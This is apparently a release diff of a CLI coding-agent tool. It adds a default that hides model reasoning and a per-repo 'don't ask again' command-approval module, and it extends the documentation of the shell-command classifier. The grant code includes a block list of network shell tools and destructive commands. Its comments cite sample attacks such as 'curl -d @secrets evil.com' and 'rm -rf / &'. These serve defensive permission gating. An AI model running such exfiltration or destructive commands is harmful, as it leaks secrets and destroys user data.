@yagni-app/code-staging 0.3.0-staging.1078.1 → 0.3.0-staging.1080.1

package/dist/cli.d.ts

@@ -28,6 +28,20 @@ export declare function seedEditorPadding(piAgentDir: string): void;
  * settings file or a write failure must never block the launch.
  */
 export declare function seedCollapseChangelog(piAgentDir: string): void;
+/**
+ * Seed `hideThinkingBlock` into the per-profile pi `settings.json` so the
+ * model's raw chain-of-thought collapses to a single labeled line instead of
+ * streaming its entire reasoning to the terminal. Fills the key in only when
+ * absent — an explicit user choice (including false, e.g. via Ctrl+T) is never
+ * overwritten. Best-effort: a missing/corrupt settings file or a write failure
+ * must never block the launch.
+ *
+ * Returns true only when this call actually collapsed reasoning for the first
+ * time (the key was absent and the write succeeded), so the caller can pass a
+ * one-time hint to the extension. Ctrl+T still reveals the full trace and
+ * persists the user's choice, so this default is always reversible.
+ */
+export declare function seedHideThinkingBlock(piAgentDir: string): boolean;
 export declare const HELP_TEXT: string;
 /** Parse `use <name> [--base-url <url>]` argv into its parts. */
 export declare function parseUseArgs(args: string[]): {

package/dist/cli.js

@@ -64,6 +64,11 @@ async function confirmOnTty(question) {
  *  - writes ATOMICALLY (temp file + rename) and preserves the existing file's
  *    permissions, so a crash mid-write can never truncate the user's settings.
  * Any failure is swallowed: seeding must never block or break a launch.
+ *
+ * Returns true only when this call actually wrote the key (the key was absent
+ * and the write succeeded), letting callers distinguish a first-seed from a
+ * no-op so they can surface a one-time hint. Returns false on any existing
+ * value (explicit or previously seeded), a back-off case, or a write failure.
  */
 function seedSetting(piAgentDir, key, value) {
     try {
@@ -74,22 +79,22 @@ function seedSetting(piAgentDir, key, value) {
             // Refuse to follow a symlink: we must only ever write a regular, real
             // settings file the user (or pi) owns.
             if (lstatSync(settingsPath).isSymbolicLink())
-                return;
+                return false;
             let parsed;
             try {
                 parsed = JSON.parse(readFileSync(settingsPath, "utf8"));
             }
             catch {
-                return; // corrupt file: back off rather than clobber the user's settings
+                return false; // corrupt file: back off rather than clobber the user's settings
             }
             if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
-                return; // non-object settings: leave it alone
+                return false; // non-object settings: leave it alone
             }
             settings = parsed;
             existingMode = lstatSync(settingsPath).mode & 0o777;
         }
         if (settings[key] !== undefined)
-            return; // user already chose
+            return false; // user (or a prior seed) already set it
         settings[key] = value;
         // Atomic write: serialize to a temp file in the same directory, then
         // rename over the target. A crash leaves either the old file or the temp
@@ -106,9 +111,11 @@ function seedSetting(piAgentDir, key, value) {
         // replaces the inode, which would otherwise reset to 0600).
         if (existingMode !== undefined)
             chmodSync(settingsPath, existingMode);
+        return true;
     }
     catch {
         // never block launch on a settings-seed failure
+        return false;
     }
 }
 /**
@@ -131,6 +138,22 @@ export function seedEditorPadding(piAgentDir) {
 export function seedCollapseChangelog(piAgentDir) {
     seedSetting(piAgentDir, "collapseChangelog", true);
 }
+/**
+ * Seed `hideThinkingBlock` into the per-profile pi `settings.json` so the
+ * model's raw chain-of-thought collapses to a single labeled line instead of
+ * streaming its entire reasoning to the terminal. Fills the key in only when
+ * absent — an explicit user choice (including false, e.g. via Ctrl+T) is never
+ * overwritten. Best-effort: a missing/corrupt settings file or a write failure
+ * must never block the launch.
+ *
+ * Returns true only when this call actually collapsed reasoning for the first
+ * time (the key was absent and the write succeeded), so the caller can pass a
+ * one-time hint to the extension. Ctrl+T still reveals the full trace and
+ * persists the user's choice, so this default is always reversible.
+ */
+export function seedHideThinkingBlock(piAgentDir) {
+    return seedSetting(piAgentDir, "hideThinkingBlock", true);
+}
 async function runDefault(passthroughArgs) {
     // Cache-backed update nudge (never a network wait), then a background cache
     // refresh that completes while the session runs. Both fail soft.
@@ -168,6 +191,12 @@ async function runDefault(passthroughArgs) {
     // unreadable settings.json must never block the launch.
     seedEditorPadding(piAgentDir);
     seedCollapseChangelog(piAgentDir);
+    // Collapse raw chain-of-thought to one line on first launch. Seeded here
+    // (before the extension boots) so `setHiddenThinkingLabel`/any Ctrl+T toggle
+    // in this session sees the collapsed default. `seededHideThinking` is true
+    // only THIS launch — a downstream one-time hint must not re-nag on the next
+    // real run once the key already exists.
+    const seededHideThinking = seedHideThinkingBlock(piAgentDir);
     // Generate the shadow pi package so the terminal title/process name read
     // "YAGNI Code" instead of "pi"/"π". Best-effort: if it can't be built we
     // still launch (un-rebranded but hermetic), never blocking the agent.
@@ -216,6 +245,7 @@ async function runDefault(passthroughArgs) {
             stateDir: credentialsDir(),
             cliVersion: cliVersion(),
             baseEnv: process.env,
+            ...(seededHideThinking ? { hideThinkingSeeded: true } : {}),
         });
     }
     catch (err) {

package/dist/extension/approvedPrefixes.d.ts

@@ -0,0 +1,92 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { type ExecPolicy } from "./execPolicy.js";
+export interface ApprovedPrefixGrant {
+    /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
+    pattern: string[];
+    /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
+    repoKey: string;
+    /** ISO timestamp of the grant. */
+    addedAt: string;
+    /** The cwd where the grant was made (provenance for a future revoke UI). */
+    cwd: string;
+}
+export interface ApprovedPrefixFile {
+    version: 1;
+    grants: ApprovedPrefixGrant[];
+}
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export declare const BANNED_PREFIXES: Set<string>;
+export declare function derivePrefix(command: string): string[] | null;
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export declare function storagePrefix(command: string): string;
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
+/** Human label for the remember option: "git push …". */
+export declare function describePrefix(pattern: string[]): string;
+export declare function rulesFilePath(homeOverride?: string | null): string;
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export declare function resolveRepoKey(cwd: string): string;
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
+//# sourceMappingURL=approvedPrefixes.d.ts.map

package/dist/extension/approvedPrefixes.js

@@ -0,0 +1,252 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { execFileSync } from "node:child_process";
+import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
+import { dirname, join } from "node:path";
+import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
+import { codeStateHome } from "./stateHome.js";
+// --- Derivation ---
+/** Tools whose second token is a subcommand worth capturing in a prefix. */
+const MULTI_SUBCOMMAND_TOOLS = new Set([
+    "git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
+]);
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export const BANNED_PREFIXES = new Set([
+    "bash", "sh", "zsh", "fish", "dash", "ksh",
+    "python", "python3", "node", "ruby", "perl", "deno", "bun",
+    "sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
+    "rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
+    "curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
+]);
+/** Second tokens must look like plain subcommand words (no URLs, no secrets). */
+const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
+/**
+ * Derive the grantable prefix for a command, or null when the command is not
+ * grantable: multi-segment/compound, carries shell constructs, banned prefix,
+ * or a bare multi-subcommand tool with no subcommand.
+ */
+/**
+ * A command qualifies for grant coverage only when it is one plain command:
+ * no operators, no constructs (checked via the quote-aware tokenizer, so
+ * `git commit -m "a & b"` still qualifies — the & is quoted text).
+ */
+function isSinglePlainCommand(command) {
+    return !shellParse(command).some((t) => typeof t === "object");
+}
+export function derivePrefix(command) {
+    // Grants only ever cover single plain commands. Any operator or construct
+    // (|, &&, ;, newline, redirect, substitution, &) disqualifies.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    const first = tokens[0];
+    // Path-prefixed or escaped command words are never grantable.
+    if (first.includes("/") || first.startsWith("\\"))
+        return null;
+    if (BANNED_PREFIXES.has(first))
+        return null;
+    if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
+        const second = tokens[1];
+        if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
+            return null;
+        return [first, second];
+    }
+    return [first];
+}
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export function storagePrefix(command) {
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return "(empty)";
+    const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
+    const slash = rawFirst.lastIndexOf("/");
+    const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
+    const second = tokens[1];
+    if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
+        return `${first} ${second}`;
+    }
+    return first;
+}
+// --- Matching ---
+/**
+ * git-push refspec shapes that encode force/delete positionally: a leading
+ * `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
+ * remote branch). Confirmed unfencable via flag lists — so any such arg
+ * knocks the command out of grant coverage entirely.
+ */
+function hasGitPushRefspecDanger(tokens) {
+    return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
+}
+/**
+ * Flags that must never ride a grant even though the exec policy leaves them
+ * in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
+ * standing grant for it would be a silent force-push license).
+ */
+function hasGrantFencedFlag(pattern, tokens) {
+    if (pattern[0] === "git" && pattern[1] === "push") {
+        return tokens.some((t) => t.startsWith("--force") || t === "-f");
+    }
+    return false;
+}
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export function matchesGrant(command, grants, repoKey) {
+    // Same single-plain-command restriction as derivation.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    for (const grant of grants) {
+        if (grant.repoKey !== repoKey)
+            continue;
+        if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
+            continue;
+        if (!grant.pattern.every((p, i) => tokens[i] === p))
+            continue;
+        if (hasGrantFencedFlag(grant.pattern, tokens))
+            continue;
+        if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
+            continue;
+        return grant;
+    }
+    return null;
+}
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export function validateGrant(command, policy, repoKey) {
+    const pattern = derivePrefix(command);
+    if (!pattern)
+        return null;
+    if (classifyCommand(command, policy).decision !== "prompt")
+        return null;
+    const candidate = {
+        pattern,
+        repoKey,
+        addedAt: new Date().toISOString(),
+        cwd: "",
+    };
+    return matchesGrant(command, [candidate], repoKey) ? candidate : null;
+}
+/** Human label for the remember option: "git push …". */
+export function describePrefix(pattern) {
+    return `${pattern.join(" ")} …`;
+}
+// --- I/O half ---
+export function rulesFilePath(homeOverride = null) {
+    return join(codeStateHome(homeOverride), "rules.json");
+}
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export function resolveRepoKey(cwd) {
+    try {
+        const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
+            encoding: "utf8",
+            stdio: ["ignore", "pipe", "ignore"],
+            timeout: 3_000,
+        }).trim();
+        if (url.length > 0)
+            return url;
+    }
+    catch {
+        // fall through to realpath
+    }
+    try {
+        return realpathSync(cwd);
+    }
+    catch {
+        return cwd;
+    }
+}
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export function loadGrants(homeOverride = null) {
+    try {
+        const path = rulesFilePath(homeOverride);
+        if (!existsSync(path))
+            return [];
+        const parsed = JSON.parse(readFileSync(path, "utf8"));
+        if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
+            return [];
+        return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
+            g.pattern.length > 0 &&
+            g.pattern.every((t) => typeof t === "string") &&
+            typeof g.repoKey === "string" &&
+            typeof g.addedAt === "string" &&
+            typeof g.cwd === "string");
+    }
+    catch {
+        return [];
+    }
+}
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export function appendGrant(grant, homeOverride = null) {
+    const current = loadGrants(homeOverride);
+    const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
+    const merged = isDuplicate ? current : [...current, grant];
+    try {
+        const path = rulesFilePath(homeOverride);
+        mkdirSync(dirname(path), { recursive: true });
+        const file = { version: 1, grants: merged };
+        writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
+    }
+    catch {
+        // Fail-soft: the in-memory grant still applies for this session.
+    }
+    return merged;
+}
+//# sourceMappingURL=approvedPrefixes.js.map

package/dist/extension/config.d.ts

@@ -72,6 +72,8 @@ export interface FetchCatalogOptions {
     getToken: () => string | undefined;
     fetchImpl?: typeof fetch;
 }
+/** Guardian storage tier for this workspace (YAG-510). */
+export type GuardianStorageTier = "off" | "hash" | "raw";
 /** The startup catalog response from GET /api/yagni-code/models. */
 export interface CatalogResult {
     models: ModelEntry[];
@@ -81,6 +83,13 @@ export interface CatalogResult {
      * missing field (older backend) reads as enabled.
      */
     guardianEnabled: boolean;
+    /**
+     * Guardian event storage tier (YAG-510). Polarity is deliberately the
+     * OPPOSITE of guardianEnabled: only an explicit "hash" or "raw" turns
+     * storage on — a missing field (older backend) or unknown value reads as
+     * "off" (fail toward not sending).
+     */
+    guardianStorage: GuardianStorageTier;
 }
 /**
  * Fetch the YAGNI model catalog at startup.

package/dist/extension/config.js

@@ -85,7 +85,13 @@ export async function fetchCatalog(opts) {
         throw new Error(`Failed to fetch YAGNI model catalog (HTTP ${res.status}). Run \`yagni login\` to re-authenticate.`);
     }
     const data = (await res.json());
-    return { models: data.models, guardianEnabled: data.guardianEnabled !== false };
+    return {
+        models: data.models,
+        guardianEnabled: data.guardianEnabled !== false,
+        guardianStorage: data.guardianStorage === "raw" || data.guardianStorage === "hash"
+            ? data.guardianStorage
+            : "off",
+    };
 }
 /** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
 const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;

package/dist/extension/execPolicy.d.ts

@@ -1,6 +1,6 @@
 /**
  * Exec policy engine — classifies bash commands via prefix rules + lightweight
- * shell tokenization (YAG-504).
+ * shell tokenization (YAG-504, restructured in YAG-510).
  *
  * Pure: no I/O, no network, no model. Loads at startup and classifies
  * synchronously. The curated default set auto-allows read-only commands
@@ -10,12 +10,29 @@
  *
  * The `prompt` band is what the Guardian arbitrates — see guardian.ts.
  *
+ * Classification composes three signals and takes the STRICTEST:
+ *   1. prefix-rule matching on every segment (newlines, ;, &&, ||, | split);
+ *   2. a construct floor — commands using redirects, substitution, or
+ *      background & can never be auto-allowed (floor: prompt);
+ *   3. dangerScan — a best-effort sweep of command-substitution inner text
+ *      ($(...) and backticks, including inside double quotes) against the
+ *      FORBIDDEN rules only. Danger anywhere upgrades to forbidden; the scan
+ *      can never make anything more permissive.
+ * This is the codex two-parser lesson: fail closed to prove safety, scan
+ * best-effort to prove danger. A forbidden match must win even when the
+ * command also carries constructs (`rm -rf / &` is forbidden, not prompt).
+ *
+ * Command words are matched through a leading-token strip (env assignments,
+ * sudo/env/command wrappers, shell reserved words, a leading backslash) and
+ * basename normalization (/bin/rm → rm) — both applied ASYMMETRICALLY: they
+ * can make a command land on forbidden/prompt rules, but a stripped or
+ * path-prefixed command is never auto-allowed (`sudo ls` and `./ls` stay in
+ * the prompt band; an attacker-named local `./rm` binary must not ride the
+ * allow list, and `/bin/ls` pays the same price by design).
+ *
  * Tokenization is a lightweight inline parser — not shell-quote — because the
  * extension is bundled into @yagni-app/code's dist (a file copy, not a real
  * bundler), and external dependencies aren't resolvable from the bundled path.
- * We only need: split on whitespace (respecting single/double quotes), detect
- * control operators (|, &&, ||, ;), and flag shell constructs ($(...),
- * backticks, redirects) that we can't statically analyze.
  */
 export type TokenEntry = string | {
     op: "pipe" | "and" | "or" | "semi" | "redirect" | "substitution";
@@ -25,14 +42,25 @@ export type TokenEntry = string | {
  *
  * Handles:
  * - Single and double quoted strings (preserves spaces inside)
- * - Control operators: |, &&, ||, ;
- * - Shell constructs we flag as unanalyzable: $(), backticks, >, <
+ * - Control operators: |, &&, ||, ;, and newlines (a newline separates
+ *   commands exactly like `;` — treating it as whitespace let multiline
+ *   commands smuggle anything behind an allow-listed first line)
+ * - `#` comments (start-of-word to end-of-line, outside quotes)
+ * - Shell constructs we flag as unanalyzable: $(), backticks (INCLUDING
+ *   inside double quotes — bash executes those), >, <, background &
  *
- * Does NOT handle: variable expansion, glob patterns, heredocs, nested
- * subshells beyond the first level. Commands using those are classified
- * as "prompt" (let the Guardian review).
+ * Does NOT handle: variable expansion, glob patterns, heredocs beyond the
+ * redirect flag, nested subshells beyond depth tracking. Commands using
+ * those are classified as "prompt" at minimum (construct floor).
  */
 export declare function shellParse(command: string): TokenEntry[];
+/**
+ * Extract the inner text of every command substitution — $(...) and
+ * backticks — respecting single-quote literalness and backslash escapes.
+ * Includes substitutions inside double quotes (bash executes those).
+ * Best-effort, used ONLY by dangerScan to prove danger, never safety.
+ */
+export declare function extractSubstitutions(command: string): string[];
 export type ExecDecision = "allow" | "prompt" | "forbidden";
 export interface PrefixRule {
     /** Ordered tokens; a string[] element means alternatives (any match). */
@@ -47,6 +75,15 @@ export interface PrefixRule {
      * band). Example: sed is read-only except with -i/--in-place.
      */
     unlessTokens?: string[];
+    /**
+     * Position-independent flag requirement: the rule matches only when, in
+     * addition to the pattern prefix, at least one token AFTER the prefix
+     * matches an entry (same "*"-suffix glob convention as unlessTokens).
+     * Used by forbidden rules to catch permuted flags: `git push origin
+     * --force` and `rm x -rf` place the dangerous flag after positional args,
+     * where exact-position patterns never see it.
+     */
+    flagsAnywhere?: string[];
     /** Positive test invocations (validated at load if present). */
     match?: string[][];
     /** Negative test invocations (validated at load if present). */
@@ -69,10 +106,11 @@ export declare function tokenize(command: string): string[];
 /**
  * Classify a full bash command string against the exec policy.
  *
- * Compound commands (pipes, &&, ||, ;) are split into segments and each is
- * classified independently. The strictest decision wins (forbidden > prompt >
- * allow). Commands with shell constructs we can't parse (command substitution,
- * redirects beyond pipe) are classified as prompt. Pipe-to-shell is always
+ * Compound commands (pipes, &&, ||, ;, newlines) are split into segments and
+ * each is classified independently; the strictest decision wins (forbidden >
+ * prompt > allow). Commands with shell constructs (substitution, redirects,
+ * background &) have a floor of `prompt`, and their substitution inner text
+ * is danger-scanned against the forbidden rules. Pipe-to-shell is always
  * forbidden.
  */
 export declare function classifyCommand(command: string, policy: ExecPolicy): ExecClassification;